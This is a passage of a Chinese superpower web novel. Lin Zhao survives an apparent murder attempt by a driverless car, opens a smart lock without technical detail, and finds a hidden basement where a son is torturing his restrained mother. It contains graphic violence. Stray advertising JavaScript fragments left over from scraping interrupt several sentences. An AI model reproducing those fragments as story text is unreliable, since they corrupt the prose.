救护车,警车,拉着绵长的警笛,撕开沉重阖着的古铜大门。失去意识的伤员横在担架上被推进车里,其他几个轻伤的上了警车去开证明。 另有一头浑身沾血的困兽湿漉漉站着。高母拎着她的小羊皮手包一路小跑出去,他转头,眼神雪亮渗人,巴巴望着她。 女人拽着他肩,狠狠往外推了一把。 “看你现在像什么样子!没用的东西!”她动怒的声音一路飘到教务楼二层,“没出息!丢死人啦!!!” 推推搡搡间,两人滚作一团挤上车远去了。林昭站在百叶窗下没动,车的尾迹化作一片片不清晰的残影,驻留在他视网膜上。 有点——奇怪。 ……很奇怪。 小时候,林昭因为习惯性地发呆走神,常把手头上正在做的事情搞砸。帮人在场边看着皮球,回过神来,球不见了;被嘱咐着让他在原地在等老师,只不过一转眼的功夫,他自己飘得没影,让所有人一顿好找。 就读少年班后,林君成接他去家里吃晚饭。林昭想着要表现得懂事一些,就挤去厨房,主动提出帮忙摘菜。 剥着豆荚,他被对面楼道里一扇开开关关的门吸引。找回意识,手里的白瓷碗已碎了一地。 那好像已是十年以前的事了。那一年林君成三十来岁,头发乌黑,还不需要像后来那样经常补染新长出来的白发发根。她半蹲在地上拿着只小笤帚,往彩色的厨房簸箕里扫碎瓷片。 林昭记得她那天穿一件黑白千鸟格的对襟毛线开衫,还有一条黑色微喇的阔腿裤。这衣服她后来也常穿,但千鸟格这个名字,很久以后林昭从商场售货员的嘴里正式知道。那会儿他才意识到,原来这白色不规则多边形……竟然真的是抽象过后一只鸟的图案。 “哟,活了。”她打趣这个半大小孩,“手没割破吧?” 不痛,没破皮,也没血。小林昭摇摇头:“我没事。” 想了想,他又道:“你要小心你的手。” “我又没碰着。”林君成不以为意,“没破你就别愣着了,赶紧把洒地上的豆子都捡起来。” 林君成塞给林昭一个不锈钢碗,说随便摔。拾完碎片,她继续忙她自己的。林昭就像个小尾巴,在厨房里摇来摇去,把遍地滚的豆子全捡完了。 福利院的大人和小孩,他们说他经常走神很奇怪。听讲了笑话不会笑,被训斥了不会难过不会哭,没有反应没有表情很可怕。但林君成不在乎这些。她对待林昭,很像对待院子里意外生出来的一枝不认识的花。浇水,松土,偶尔捉捉虫,搭简陋的花架让他趴着,不管他。也让他自己去淋雨,不算那么上心,但每每经过,都看看他,和他问一声早。 她似乎有信心,觉得这花靠自己就能长大,不需要她再多做些什么。 真奇怪。有的人没有亲缘关系,却做成了母亲该做的事。有的人明明是母亲,却好像把孩子当畜生看。 39.敢惹我 魔方格一般的独栋建筑,闪烁着红橙蓝黄的彩光,安静立在朦胧雨雾中。 至上主义俱乐部,据说在少部分异能者中颇有名气,常举办仅面向高功能群体开放的知识分享沙龙。 顾昐失踪那一晚,高曜、尤侃等人现身该俱乐部。后半夜超管局以搜查超能力嫌疑人为名,封锁现场固定证据,在现场留下数张照片和一份报告。 地面水渍干涸,酒瓶歪倒一地。奶油蛋糕糊了满墙,柔软的蛋糕胚体里被磕出一个脑袋大小的洞。没有其他异样——怎么会没有异样? 林昭打印了几张照片,钉上壁板。夜间俱乐部,没有能力的未成年学生,失魂落魄的受害者。邀请制的异能者沙龙派对,高母的期许…… 包厢深处的一扇窄门半掩着,透出钛白色的一截圆柱体。乍一看很容易以为这是放松身心用的高压氧舱或是零重力模拟舱,但林昭见过这玩意,知道它不是那样亲切友好的保健设备。 脑脊液置换机,这是它亮相电视购物广告时的名字。接上机器,能促使大脑进入慢波状态,冲刷血液,促进脑脊液循环,据说有增进脑活力的作用。 福利院大厅的电视没有订阅收费台,免费台的节目之间永远排布着望不到头的广告。脑脊液置换机是其中平平无奇的一款,特教老师曾经心动,想过买一台回来帮助小林昭强健大脑,让他能正常点不要总给人添麻烦,但因价格昂贵作罢。 最近因了开发大脑潜能的风潮,这类型的机器改头换面,卷土重来。 林昭想起一个人。他问桑士桢:「那天晚上,你怎么知道高曜会约顾昐在‘至上主义’见面?」 正是上课时间,消息发出,林昭就有点儿后悔。桑士桢向来不分上课下课,不多久,他回消息。 桑士桢:「唔,终于想起我了」 林昭:“……” 屏幕灭了又亮,新消息断断续续,几句话拆得上气不接下气: 桑士桢:「我还以为」 桑士桢:「你」 桑士桢:「把我」 桑士桢:「忘在雨里了」 怎么……这是在计较好几天以前的事? 林昭按了按额角,略感头痛。他认认真真打字,回复这位新生代朦胧派诗人:「本来,想给你送把伞过去。」 但电话被掐了,可能就是没这个需要。打回去追问也很古怪,那就算了。 过了好一会儿桑士桢才回:「真的?」 当然是真的。林昭来到门边,拉开置物柜门。横杠上整整齐齐,挂着四把素色长柄伞。 点开相机,他拍了照甩过去。 林昭:「每次忘带伞,我就去校门口便利店买把新的」 林昭:「最近雨季,这都攒四把了」 林昭:「你要,可以直接拿走」 又不回了。不知哪惹到他……?可能这就是年轻人吧,情绪起伏不定,心情一时一变。林昭查了些脑脊液置换机相关的资料,电子邮箱叮咚一闪,桑士桢已把至上主义俱乐部一部分高级会员的资料给林昭发了过来。高母的名字赫然在列,她没少给俱乐部的精神建设添金砖,筑银瓦。 林昭顿觉不好意思。帮大忙了,他想着该给些实质性的感谢,对面的消息过来:「第二次。」 第一次是哪次,林昭毫无印象。他缓缓打回去一个问号。 桑士桢直接拨了电话,语气直冲冲地当仁不让,好似不想给林昭留出任何插话的机会:“上一次你让我帮忙,我说要奖励,你请所有人吃大火锅糊弄过去。我觉得这不能算,他们无功受禄,我又没吃着多少……” 林昭:“?牛油火锅怎么叫糊弄。那一桌都上四位数了,不便宜。” 桑士桢:“呃。” 林昭:“嗯?” 桑士桢:“那换我请你。” 林昭:“???”倒反天罡,这叫奖励? “看电影呗。”桑士桢急急道,“4D,啊不,5D电影。第一人称视角,交互式剧情推进,最近新上市的,真不想试试嘛?” “确定这是奖励?”这回林昭上了点心,“该不会看完电影,又说倒欠三次?” “我是那种人!?”对面跳起来,“看不看?” 林昭:“那就……看。” 看起来是真的对互动式电影感兴趣。 是真想看电影就好,害他还白白紧张一下。 有些在意“至上主义”,晚上离开学校,林昭忍不住又跑了一趟这间埋伏在中环CBD区域一角的俱乐部。 夜空晴朗,魔方格的彩块分布也和雨夜不同。林昭打开备忘,将两次的分布图形随手速记下来。点线面构成,藏青色填满,红色斜线灰面,橙色打叉,黄色划一根对角线。 画完,林昭微蹙眉心,凝眸望住了这两组图形。 这像某种概念的具体化模型。他很熟悉的,计算时经常使用的…… 但不知颜色代表数字还是字母,算法是几位进制,也不知映射变换两端的对象和目标为何。 有了猜想,实证不急在一时。林昭草草划了两笔,忽觉身旁风响。抬头时只见一辆黑色流线型的车辆冲出路牙,向他面前全速碾来! 视界静滞,反应神经慢走一拍。车前盖上突然间火星四溅,金属板材受到某种不可见的外部压力,诡异地凹陷进去一个深而细的孔洞。 好似凭空浮现出一柄隐形的尖头锥子,对准车身最能抗力的部位,以极大压强,抵冲了部分失序的速度。 橡胶前轮碾上人行道,千钧一发之际,一条胳膊抓住片隙空档,拽着林昭往旁一带,斜刺里冲出几步:“你要吓死我啊!” 嘭——!!! 林昭扭头,看着那辆黑色轿车轰然撞进墙里,发出声惊天动地的巨响。危机瞬变,他的思绪却还停滞在片刻之前。转头回来,林昭看看不知为什么突然出现的桑士桢,道:“它很像多维向量空间,你觉得呢?这就很像是……六个面的一组矩阵。噢,谢谢你救我。你看到车前盖上那柄空气锥了吗?但现在是晚自修,你为什么在这里?” 为什么会有人把三句话捏在一起颠三倒四地说啊!?而且谁特么知道多维矩阵是个啥……桑士桢气道:“差点儿你就死了知道嘛!!?” 黑色的电动车滋滋冒着白烟。斑斓彩块闪烁的俱乐部门前,踱出来一道高峻人影。 天气渐热,男人的左手却佩着一只包覆过腕的黑色手套。材质是高致密的机能面料,紧密贴合指节、虎口至手腕每一个细节处的转圜。 刚才,就是这只手拨动空气,将咫尺之隙的气体分子间隙抽走,挤扁成一点高压气旋,制住了失控的车辆。 超管局东璞分局,现任总负责人—— 原子控制,周停。 这个定义很精确地描述了他的能力范畴。但单看表面字眼,理解起来诸多不便。 但林昭以为,对于他的能力来说,这是最恰当的一种表述。 三年前周停刚获得能力时,他能做到的仅仅是划动气体,引发微弱的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气压扰动。效果和拿手掌扇风吹凉差不多,不如一台小电风扇。 然而,理解到这项能力的原理和操纵深度以后,周停针对自己的能力,做了非常多探索和细微处的开发。 目前被外界所知,最基本的规则是: 体积越大的微粒,越容易被操控。油比水容易控制,二氧化碳胜于氧气。 分子/原子间隙越大的,越容易被调动。气体最容易操作,其次是液体。至于固体……这得要看周局长最近对自己的能力挖掘到了哪一个地步。 但,像固体这一类具备固定晶格的物质,一旦在他的手中熔化,粒子突破晶格框架后,同样可视作流体对待。 可以控制分子热运动,加速或是减速单个分子/原子本身的运动态势。分子运动越激烈,物质温度越高,对他来说就越容易操作。 适宜顺风作战、越耗越有优势的一款能力。 副作用不明,代偿消耗不明。或至少未有任何公开资料说明这一能力的负面效果。 经由周停本人一步步深挖以后,逐步成型的“原子控制”,成为了一项杀伤力相当可怖、令人闻风丧胆的能力。比如逼停车辆时,只要他有这个意愿,就能够利用单点极限高压精准引爆车载电瓶,引发一场足以掀掉半条街的范围爆炸。 他站到超管局顶端的位置上,带来的威慑,无限近似于一种大型杀伤性武器公开亮相。 或许也因为这能力比一般认为得更具有破坏力,周停平时很少在外动用异能,尽可能都以中庸端雅的态度现身在公众面前。 “那人是……”前呼后拥的随行人群中,那一道傲岸的身影很是打眼。桑士桢很快认出他来:“站得很高的局长大人?” 这个时间,这个场面,周停本人出现在“至上主义”,几乎明牌了这间俱乐部暗地里在经营不相干的非法生意。林昭扯住桑士桢往人堆里退:“别留在这儿。我们走。” 袖边被不留神拽住,桑士桢微愣。偏头只见林昭往外张望,鼻梁秀挺,侧边脸颊肉柔软微鼓,暖黄路灯一照,笼上一层绒绒边光,他的心里不知怎么,忽然就晃了晃。 “走啊。”听见远方警笛声迫近,林昭再次催他。 桑士桢反应过来,忙拿话遮掩道:“那车挺邪门,你说……” 离开人多嘴杂的CBD街区,走近较冷清的另一个巴士站,林昭说:“不用想了。那是辆无人驾驶的自动汽车。事故定责……应该会算到制造商头上。” ——她想杀你。 ——这次不成,可能还有下一次。保护好自己。 “原子控制”的能力能够调整局部范围内的空气分子分布密度,利用这一点,周停在距离数十米、被人群隔开的情况下,把话递到了林昭耳边,而周围人一无所觉。 “……不会吧。”桑士桢咀嚼了这句话里的意思,一瞬顿住脚步,很快又追了上来。 超能力者满地都是,买凶杀人又有什么稀奇。 “我送你。” 林昭看看他。孑然一身,所谓的送人,就是陪着多坐一趟公交然后自己再坐回去。他刚想说不必,就听到桑士桢说:“你也不想走神自己撞到车上去,白送人家一杀吧。” “或者坐反方向?” “坐过站?” “下车后走过头?” “再撞一次?” 林昭:“……” 他让步:“明天来拿你的伞。” 桑士桢眉梢一扬:“OK。就照你说的办。” 40.那你 隔日,超管局来车接走林昭,将他带到一间宽大的会议室。 见的人是几位不认识的中年领导,不知身份,只知位置不低。他们和蔼询问了晟华高中的情况,末了透给林昭一个消息,说调查启动后,高母畏罪潜逃,很可能正筹划携子出国。 她有读心能力,逃亡中有先手优势。调查组和超管局这一次联合办案,也希望林昭配合,若有什么线索,第一时间上报。 林昭一一答应了。聆听完大佬的指导,超管局又安排他去参加下一个信息拉齐会议。至上主义的金主名单,高母派系的关系者,各处房产和可能藏身点的资料,借用他人能力的可能……拉动一个点,扯起一张蛛丝大网。 “确定他们已经转移了?”昨天下午,监控录像最后一次拍到高母。她带着孩子一道离开别墅区,此后就没再回去过。林昭靠着椅背,事不关己地旁听着,冷不丁想起至上主义俱乐部里暗中藏着的脑脊液置换机,一时没忍住多问了一句:“搜查高宅时,有没有人见过类似的机器?” “这看着像……”调查科的几位干员见了林昭拿出的图片,不免都有些懵,“以前流行过的一款电视购物产品。” 但发问这位,是最近炙手可热、无人不晓的红人。他们仍是很耐心地给了回复。 为了不惊动高母手下的人,搜调高宅是通过遥视和远光探测来进行的。 报告显示,高宅收拾得很干净。主人只是做了离家出门远行前的一切准备,屋内没有任何异样。 当然也,没发现任何可疑仪器。 “那好吧,”林昭并不坚持,“我没有问题了。” 一天会跟下来头昏脑涨,走出超管局,林昭看看周围,发现从晟华把自己接过来的几个安保人员仍寸步不离跟着自己。 好像他是什么重要物品,需要被严密看管。 也好像脚底莫名黏着了四条多余的影子。 恼人得很。 乘公共巴士也被禁止,非要他坐车。在超管局大门口被强行拦回去,林昭受不了了:“周局让你们来的?” “林工您想去哪,您和我们说。”数名宛如复制人的高大保安,用差不多的刻板声音,执行被赋予的使命,“我们帮您登记报备,您不用自己操心。” “报备完,您跟我们的车,我们送您过去。” “您不能离开我们的视线范围。” “这都是为了您的人身安全。” “这是我们的工作,我们的责任。” “请您见谅。” 林昭开始怀疑这几位和晟华的AMI秘书一样,也有点仿生机器人的成分在身上:“那好吧。送我去高家别墅。” 保安们呆滞一秒,面露人色:“这稍微有点……” “不是说嫌疑人已经转移,现场未有任何可疑发现?”林昭笑笑,温和语调中透出些许尖刻的色彩,“多安全啊。我不能去吗?” 高曜家坐落在二环内,别墅区闹中取静,园林花木修剪成中式的,雕塑景观是法式的,整体布局又是美式的,集古今中外建筑奇迹之大成。 与集科学奇迹之大成的电视购物频道,倒有几分异曲同工之妙。 那么,在高曜家中还藏着一台或数台未被发现的脑脊液置换机……这也并非不可能。 ——那只是台传销诈骗产品。有个声音在林昭脑中这样说着。 不,不尽然如此,林昭回答它。若它只是款安抚仪器,顾昐失踪当晚被深度洗脑的状况,就变得难以解释;而“至上主义”这样寸土寸金的地方,又怎么会腾出专门的房间给它? ——这是你的主观判断,而大数据不会说谎。那个声音说。 啊,多么有趣的问题,林昭回答它。非存在的逻辑和确实存在的事实彼此矛盾,那么它们之中,必有一项出了差错。 我更好奇,谬差在它还是我。 “您太过冒险了。”车上,安保人员孜孜不倦劝说林昭,“嫌疑人如果重返家中,她可能会伤害您。” 林昭无法解释更多。他只是说:“我有必须要查的东西。劳驾,请你们保护我。” 只有桑士桢什么都不问:「我和你去。」 半小时后,林昭下车,和兜里抄着根弹簧棍的桑士桢碰了头。 他从学校翘了课过来的,身上穿的还是晟华那套名门校服。黄昏的夕色缓缓在他身后沉落,涂黑背着光的落拓身影。 “桑士桢。”林昭喊他名字,“可能会有危险,你知道……” 说不上为什么,他忽然有点儿歉疚。 “嗨,这有什么。” 桑士桢晃上来,拿肩膀撞了下林昭。 “你肯定是发现了什么。”他语气轻松,“只是暂时不知道怎么说……” “或是不能说。”他补充道。 林昭舒了口气:“谢谢你。” 两人并肩走着,两道差不多高的影子拖得老长。桑士桢没有多问什么,他有意将安静和思考的空间留给了林昭自己。 在这一段成熟的缄默中,林昭突然意识到,走在他身边的这个人,或许已不能再算是个孩子。 别墅正门前,智能锁感应到红外热源,微显示屏上绿框浮现,自动扫出二人的脸。 桑士桢掰了掰指骨:“来!” 林昭挥挥手,示意他往后退:“这用不着你。” 桑士桢:“……”好失望! “看着点周围,很快。”林昭嘱咐他一句,摁开表盖,联上智能门锁网络,预备来一顿暴力拆解,“你的冷却期有四十五分钟,能力留着,别用在这种小地方。 ” 智能管家也来凑趣:“林,放心,这里交给我。” 桑士桢顿觉无趣。他往外看,一会儿,逮到对过花丛后,一道鬼鬼祟祟的人影。 “谁!?”他喝了一声,身形已快速反应,变作了高曜的模样。 林昭:“。” 他哭笑不得:“不是叫你别用……” 角落里的人抖了抖,小碎步跑着上来。耳麦中附近埋伏着的几位安保人员递话给林昭:「这人是高母的一个亲戚。好像是高曜的舅舅吧,多半是来求高母办事的。」 不,这人是高曜的一个远房大伯,做印染生意的。林昭在心里默默更正。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 是什么都行吧。高家大伯疑惑打望一眼林昭,面色谄媚,苍蝇黏血似的黏至“高曜”面前:“哎呀,这不是小曜呢吗?你妈妈在家不?我有事找她……” 桑士桢变了高曜,这会儿无法无天,横得很:“不在。在也不见您。您打哪来的打哪回吧,别逼我给您两拳。我打小学跆拳道合气道柔道,五段十段的您也不是不知道。打人很疼,您也不想被我揍吧?嗯?” 这人设都崩什么样了啊!林昭好费劲才忍住笑。他用最快速度解决门锁,一本正经招呼桑士桢:“高曜同学,这位是……” 桑士桢接戏很快:“林老师,别管他。您先进去坐,我妈很快就回来了……”说着话,他假模假式到摄像头前刷了个假脸。林昭配合他的演出适时操作,智能锁应声而开。 门开了条缝,飞快地将这位不速之客关在外头。 经历这一桩小小风波,两人穿过前院,推开大门,终于站进了这一栋独门独户的玄关。 桑士桢争分夺秒,第一时间变回自己。耳机里,安保比林昭还紧张:“林工,里面怎么样?” 和调查报告里陈述的一样,除了没人气稍冷点儿,没什么特别的。林昭轻叩了两下通话耳麦,表示没事,又将手指比在唇上,示意桑士桢别多说话。 他捻出一枚硬币。银光在他指尖打了个旋儿,起抛,划出一道弧线—— 不-要-看。林昭以口型提醒桑士桢。桑士桢眸色微惊,显然觉得林昭提出的要求很古怪。但他乖乖照做。这间别墅有两层半高,每一块分割出的小空间都能装下至少三个桑士桢桥洞下的家,他有的是地方可以看。 叮叮,极轻柔的一声轻响。地心引力作用,硬币触地了。但不完全,触碰至大理石地砖的部分,仅有一个点的面积。 嗡—— 好似蝴蝶翕动粉翅,极静的环境中,桑士桢耳中捕捉到某种微弱忽闪的风声。一秒、两秒、三秒……翅膀扑扇的频率没有减弱分毫,没有任何慢下来的趋势。 他瞪大眼睛,不知该往哪看了。 它-在-转。桑士桢对林昭说。说完他就后悔了,这可真是句蠢话。 林昭无声地弯了唇角。他很喜欢这枚铭刻着月宫和浪漫神话的量子月币,有人为它惊叹,他止不住地高兴。他靠近桑士桢耳边,小声说明:“只要没有人看着它,它就处于量子的叠加态。既非正面,也非反面,它会一直转下去。” 桑士桢的眼睛亮了:“到世界末日?” 林昭道:“到宇宙尽头。” ……可那时还有见证人能证明这一点吗?窥见自己话里的破绽,林昭挺不好意思地笑了笑:“不,我说得不对。毕竟,谁也不知道所谓的‘宇宙尽头’到底是什么形态,在哪里,或是什么时候……” 林昭讲到这些时的语气格外生动,颊上也会泛起难得鲜活的血色。桑士桢很愿意见他这样,不想让这即兴而起的对话结束,他搜肠刮肚,献出他贫瘠无多的科普知识来接话。 聊了几句,两人突然间不约而同,噤了声。 他们同时听到一个清脆响动。 ——叮当! 41.不怕变成棉花吗 室内静得吓人。林昭更有经验些:“摄像头!” 高家内部装修刚健朴实,新中式风干净简单,也没有想象中奢华的文玩字画或是奢侈品。只是放眼一望,到处都是监控摄像头。 外头有人守,门反锁着,没有闲杂人等能靠近这间屋。有人在摄像头后面看他们! “没有能量波动,没有红外反应。”林昭点灭智能表返回的数据,“人不在这里。”不在他们视线能及的范围。 桑士桢甩着弹簧棍,楼上巡了一圈下来:“两层半,少说也有三十六处监控……这还是看得见、能数得出来的。”看不见的,不知还有多少。 “这变态。”他忍不住啐了声。 耳麦对面的安保人员顿时焦虑起来。穿制服拿税金充作工资的公务员,不能像林昭这样乱来。他们急着向上级打报告,请示入户搜查令。 “别急啊。”林昭扶了下耳麦,转向桑士桢,同时对两边人说,“监视我们的人,不一定就在这间屋子里。” “别墅区出入口的监控记录,显示高局母子昨天下午已离开了。我觉得这记录不会有错,你们觉得呢?” “远程监控?”桑士桢皱眉,“也有可能。指不定人跑哪里去了,是从手机上直接看的……” “但那不就找不着人了么。”他绕了两圈,忧心忡忡,啪一下将手里的弹簧棍拍上八仙桌,“他们能看到我们,我们可没办法反向定位的。” 林昭拣走他撂下的防身棍,握在手里甩了甩,抬眸,加重了语气反问:“我们,是来找人的???” 桑士桢:“……” 外头埋在草丛里的保安人员:对、对哦! 一群人恍然大悟。 他们是来找首尾不见的神秘机器的。 有没有人在监控摄像头,和他们有什么关系!? 不如说,有人看反而还更好。 眼睁睁看着别人大摇大摆闯进家里翻箱倒柜,偏偏远水救不得近火,只能干着急。 一着急,说不定就会露出马脚,暴露行踪! 就要让他们看! 给他们在线直播! 看得见摸不着,急死他们!!! 拿来打架用的防身甩棍到了林昭手里,摇身一变,文气许多,成了柄颇有气质的文明杖。地面、柜板后侧、书桌下方……林昭拎着它锤锤打打,依次排查一楼客厅每一块空间。 “这屋有密室?”桑士桢诧异道,“太扯了吧……”整得和冒险小说似的。 林昭:“两层半。” 桑士桢:“?” 桑士桢不能理解这个两层半的用意,外头的安保人员却一秒心领神会:「违建!!?」 东国对各机关人员的住宅、办公条件都有明文规定,比如温准虽然家世背景不错,临到头来,也和别人一样,只能按级别分配到转不过身的九平方米空间。 到高局这一级,标准稍微放宽。但个人住宅不得超过两层,是硬性指标。 林昭和桑士桢简单解释几句,道:“她不惜擦边钻空子,也要在二层上,硬辟出半层阁楼花园。” “她贪。”桑士桢听懂了,“为什么在地下?……唔,是我想的那样吗!?超管局——” 超管局将大量实务部门放置在人工岛山体地下,是为形成天然避障,躲避遥视、遥感等长射程能力的侵入。 高母平时接触了解最多的,就是同为机关体系中的高功能管理局这一系。她若要修建安全房间,最有可能参考的,就是身边她见过、亲身经历过的案例…… ——不能见人的,都在地底下藏着! 对超管局来说,这算大水冲了龙王庙,灯下黑。 林昭笑眯眯地:“我看过一些纪录片,听说有些富豪信奉财不外露,专喜欢挖地下室造豪宅……” “来掘地三尺吧。说不好,这还真能挖出金子来呢。” …… 咚。 咚咚。 高聚材料拼合的管道顶端,扑簌簌落下几许尘灰。 胶布缠绕,吊着输液管的手,冰凉曲起,又张开。 有-人-来-了。 是,谁? 电磁波被阻断,灯亮着,心在暗处,只余下最原始的五感发挥效用。咚,咚咚。一颗置于体外的心脏沉重跳动,一泵一泵加温血液,循环□□,流转全身。 利乐包里淌出的冰凉液体被冲淡了。浑杂不明的念头涌动着涌动着,一个事实被中枢神经反复吟诵。 有人来了。向他求救。 或是,威胁他。 拿刀子顶在他的咽喉。用金条装满他的口袋。 逼他,或是请他,带自己,离开这里。 逃走。 “我待你哪里不好?”一道声音在远方的黑暗中响起,语调温和,却似恶魔般悚然,“为什么要逃?” 张开嘴,气流上冲,声带自然随之颤动。只要张开嘴再闭上就好,一次,两次,再简单不过,谁能都发出来的声音。 “妈--妈。” 约束带被他牵着往回拖,织料张紧,绷至无可延展的地步。女人脑中只余下一个逃生的念头,她拿肘关节支地反向同他角力,口中咿咿呀呀,发出谁也听不懂的呓语。 那孩子安静地笑了。 “你也,不怎么听话啊……妈。” 桑士桢突然顿住动作:“地板在晃。地质事故?” 不是地质事故,比那微弱得多。林昭伫在原地定了两秒,跑向厨房区域,劈手拔掉了呜呜嘤嘤的电冰箱。 白噪音关闭,死寂震耳欲聋。一两声女人凄怨的哭叫从地底透出,恍惚叫人以为自己不慎踩在了地狱十八重天顶上。 桑士桢瞳孔骤然抽缩,神情一凛,紧咬唇角,反身往外,循声去找叫声来处。 女人的惨叫一声一声,似刀刮玻璃,刮得林昭头皮发紧。他尽可能保持冷静,优先和安保人员说清紧急事态,请他们呼叫医疗援助,又操作智能中枢,将别墅几道大门悉数解锁。 “这里!”桑士桢吼道。 他回到玄关入口,最初踏进来、也是最后还没排查的区域。林昭走到他旁边,仔细端详眼前隔开客厅和走道的那一架博古架。 桁架最高处,一尊巴掌大的紫檀木观音像垂眉顺眼,以母亲无限包容的慈爱,凝望着目下的两位凡世俗人。 精工雕刻的温顺神情惟妙惟肖,瞬间勾醒不快记忆。林昭和她对视,胃部微挛,隐约泛起一阵恶心。 木莲花底座的边缘被摸得光滑润手,林昭依着那痕迹,摸索佛像,将她转背过去。 博古架旁,鞋柜墙向上收起,现出一扇深嵌在墙里的窄门电梯。 门开,桑士桢抢进去,反手猛拍关门键。林昭追进去半个身子,挡着门往外抓他:“别下去。手续几分钟就好人很快都来了!” 桑士桢垂头避过他目光:“来不及。”他掰林昭的手,用的死劲,淡色手腕立时压出两指青印。 林昭一瞬改了主意。他卸力,顺势进电梯,赶在桑士桢别过劲以前,拍上了门。 “对……对。嫌疑人可能有危险……我们先下去……”电梯平缓下行,潮湿的泥土、高分子合成材料、混合药剂和消毒水、淡铁锈味儿的血腥气,混成一股经年不见天日的怪味儿,漫过钢板旮缝往两人鼻息间钻,“越快越好。深度……三十米以下。喂,听得到吗?……” 链接地面的电磁信号,被不可见的避障逐步蚕食殆尽。林昭分神,注意到前一刻螃蟹钳一般生硬绞住他的手,这会儿已不知所措地撤了开去。 视线往上,只见桑士桢直挺挺地,站得像根浇筑成型的水泥杆。他呼吸得过分用力,胸口明显可见一起一伏,语气却刻意地沉静:“给我吧。” 林昭将手里的械具交给他。他几乎没有犹豫,这果断的沉默似乎传递了某种信任。微凉指尖相触,浸没过桑士桢喉颈的战逃反应稍微平复退潮。他缓了缓呼吸,眼底狰狞的血色悄然化开了几分。 电梯往下走,异味见浓,女人的嘶叫反而愈发轻淡下去了。这不是什么好兆头……叮。 门开。 “——看啊,我们有客人来了。” 片状白色高聚材料搭建的,方形风管般的走道。远端蜿蜒,被一道黑黢黢的高大身影遮住,看不到通往何处。灌溉过度、过分茁壮的少年脚底,匍匐着一团蜷缩的影子,他的母亲,他的信徒。 她的装束很是古怪,绸质的家居服外捆扎着数十道磁控约束带;头部交叉缠绕两道更宽的打孔绑带,整个人被切割成一段一段怪异的白,乍一看很像木乃伊,又像被钉在中世纪铁笼刑具中遭遇拷问的重刑犯。 暗红血泊似一方小小祭台,将她稳当托在其中。 “你找他们来的?”高曜随便睨了两个闯入者一眼,提着约束带尾端拎起女人重重给了她一脚,“妈。这才到哪?这你就受不了了???这才刚开始呢!” “……把我捆在手术台上。找来那些个奇奇怪怪的人,给我打点滴灌那些恶心的药……”他拔高嗓门,嘶声颤抖,“不是为了我好吗!?那你也试试啊!为什么你不行呢?为什么逃!?你说啊!!!” 女人虚弱地叫唤了一声。红白交错,极度的感官冲击面前,大脑构筑起防线,反叫人的认知变得格外麻木。林昭一时忘了反应,余光却瞥见桑士桢几步冲了上去,几跑几落间身形伸长变大,嘭地一向响,将高曜往后硬生生撞出半步! 高曜趔趄一下,面色骤拧,目露凶光,右腕翻转,一柄雪亮尖刀倏然刺出! 呲啦——! 刀尖顶上“王觊”那副折过两根肋骨的钢硬胸板,艰涩滞住,而后刷一下滑开。桑士桢得空,反扭高曜手腕,夺刀脱臼一气呵成,紧接着将人拽得一跌,看准后颈,一记闷棍劈下!!! 同一时间,林昭甩了衬衫外套撕开,充作绷带,跪下在女人身旁的血泊里,着手给她做紧急包扎。因祸得福,因了约束带的缘故,她的出血状况姑且还算可控……四下看看,林昭就地取材,扯断几根她身上缠着的输液管,将靠心脏肢端紧紧扎住。 动作至最后,林昭忽然慢了慢。 应急止血,他为什么会这个?眼前这种场面,该是他生平第一次见。他也从没接受过相关的训练……他不该这么娴熟的。 叮。 电梯开合,打断他逸散思绪。数名医护人员在安保援护下抬着担架冲进通道。半休克状态的女人最先被抬出去,然后来到失去意识的高曜。一副电子镣铐甩上他的手脚,滴答滴答,走到了尽头。 兵荒马乱,暂时没人有余裕顾得上先闯进来的两个人。林昭让开一旁,目送一群人手忙脚乱送伤员出去。直到电梯再次上行,他扭头,目中忧虑,望住了从刚才起,就一直背对他朝向通道里侧的桑士桢。 桑士桢仍维持在“王觊”的状态,但不知怎么,林昭觉得那个背影说不出的古怪。 他抬手,用力揉了揉自己的眼睛。 怎么那身影轮廓起起伏伏的,像在随着呼吸的频率鼓涨蠕动? 被强行撑满的校服中,兜着的不再是躯干,而像是某种膨胀的软组织。胶质软泥一样,这边陡然冒出一个鼓包,那边不留神又凹进去一块。 ……没到冷却时间,强行使用第二次拟态变形能力。这是代偿效果吗? 没见过这样的副作用。这就像是…… 某种寄宿在人类躯壳中的怪物。 林昭严肃喊他:“桑士桢!” “……”勉强维持着人型的背影闻声,剧烈抽扭了一阵。他咕哝了句什么,声音模模糊糊,低得几乎听不到。 压住心底本能而起的恐惧,林昭绕过地面上湿而黏的血痕,小心走近那个坍缩的背影。 “……别!!!你别过来!!!”少年突然蓄起全身力气,噗啪!他充气一样蓬开了。骨骼、肌肉、血管、组织液,每一个细胞都在共振吼叫,“你害怕了……没必要这么做!!!不要过来……别过来……” “别——别看我……” 这隐隐啜泣着的声音又属于谁呢?忽而高忽而低,听着像许多人在胸腔中一起鸣唱……是许多人,是任何人,唯独不像林昭认得的桑士桢。 主体意识正在坠落。这情况很危险,不能再逼他。林昭停下脚步,留心注视着那个身影,一刻也不敢转开目光。 沾染着干涸血迹的手指摸索至墙边,找到不远处的开关,轻轻押下。 咔嗒。灯关掉了,血关掉了。黑暗从未有像这一刻那样令人心安。视觉关闭,听觉就变得更为敏锐。林昭温和的声音响起,在空洞的隧道里回荡得格外清晰:“可以吗?” “我看不到你了。” 没人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说话,回答他的只有粗重不稳定的呼吸声。有人试图对抗那个不可控的怪物,但收效甚微。 等了片刻,林昭抬脚,继续往前。嗒,嗒。高聚板材回应了轻而坚定的脆响。心跳稳定,呼吸稳定,能量波动暂时保持在同一水平。目标没有表现出抗拒。 “桑士桢。”林昭一字一字,口齿清楚喊他名字,“你不是别人,不是任何人。你可以忘记任何人,但总得记住你自己吧。” “你是谁?转过来,告诉我你是谁。” ……事已至此,你还不明白吗。 躯壳只是副容器,在这里的只有惹人生厌的怪物。 心脏剧烈叫嚣着反对的吼声,烂泥一般翻涌着的身躯却失了控制,循着声音来处,嘎吱嘎吱翻面,转向他。 光量子场强度又下降了些许,说明固态形状正在稳定。林昭稍松一口气,一道缥缈声音不确定地响起:“你……知道多少了。” “这种情况,”听到他的问题,林昭不觉意外。他平静道:“通常来说,应该叫做全知道了吧。” 